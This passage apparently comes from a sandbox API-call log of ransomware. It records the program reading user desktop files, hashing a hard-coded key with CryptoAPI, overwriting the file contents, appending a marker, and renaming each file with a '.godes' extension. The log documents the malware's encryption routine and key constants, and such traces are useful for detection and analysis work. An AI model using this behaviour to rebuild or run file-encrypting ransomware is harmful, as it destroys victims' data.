flProtect=0x4) returned 0x2b70000 [0113.797] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.797] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.798] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.798] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.798] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.798] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xed62, lpOverlapped=0x0) returned 1 [0113.799] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.799] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.799] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.799] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.799] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.800] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.800] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.800] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.800] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.800] GetLastError () returned 0x0 [0113.800] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.800] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.800] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xed60) returned 0x3321120 [0113.800] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.800] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.800] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xed5d, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xed5d, lpOverlapped=0x0) returned 1 [0113.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.801] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xed62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.801] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.801] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.801] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.801] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.801] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.801] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.801] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.801] CloseHandle (hObject=0x624) returned 1 [0113.802] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.802] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.802] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.802] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\XECTs3JItZ.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\xects3jitz.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\XECTs3JItZ.pps.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\xects3jitz.pps.godes")) returned 1 [0113.803] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.803] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.804] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 1 [0113.804] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.804] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.804] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.804] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\_vK1Qkjp_rOYPZZA.avi") returned=".avi" [0113.804] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\_vK1Qkjp_rOYPZZA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\_vk1qkjp_roypzza.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.805] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=39236) returned 1 [0113.805] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.806] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x991e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.806] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.808] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.808] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.808] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.808] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x9944, lpOverlapped=0x0) returned 1 [0113.809] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.809] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.809] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.809] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.809] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.810] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.810] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.810] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.810] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.810] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.810] GetLastError () returned 0x0 [0113.810] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.810] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.810] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.810] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x9940) returned 0x3321120 [0113.810] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.810] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.810] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x993f, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0x993f, lpOverlapped=0x0) returned 1 [0113.810] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.810] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x9944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.810] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.810] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.811] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.811] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.811] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.811] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.811] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.811] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.811] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.811] CloseHandle (hObject=0x624) returned 1 [0113.812] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.812] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.812] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\_vK1Qkjp_rOYPZZA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\_vk1qkjp_roypzza.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\_vK1Qkjp_rOYPZZA.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\_vk1qkjp_roypzza.avi.godes")) returned 1 [0113.812] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.812] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.814] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd360870, ftCreationTime.dwHighDateTime=0x1d4d266, ftLastAccessTime.dwLowDateTime=0x538fc300, ftLastAccessTime.dwHighDateTime=0x1d4d436, ftLastWriteTime.dwLowDateTime=0x538fc300, ftLastWriteTime.dwHighDateTime=0x1d4d436, nFileSizeHigh=0x0, nFileSizeLow=0x9944, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_vK1Qkjp_rOYPZZA.avi", cAlternateFileName="_VK1QK~1.AVI")) returned 0 [0113.814] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740da0 | out: hHeap=0x660000) returned 1 [0113.814] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0113.814] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.814] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.814] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.815] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.815] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.816] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.816] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0113.817] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0113.817] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 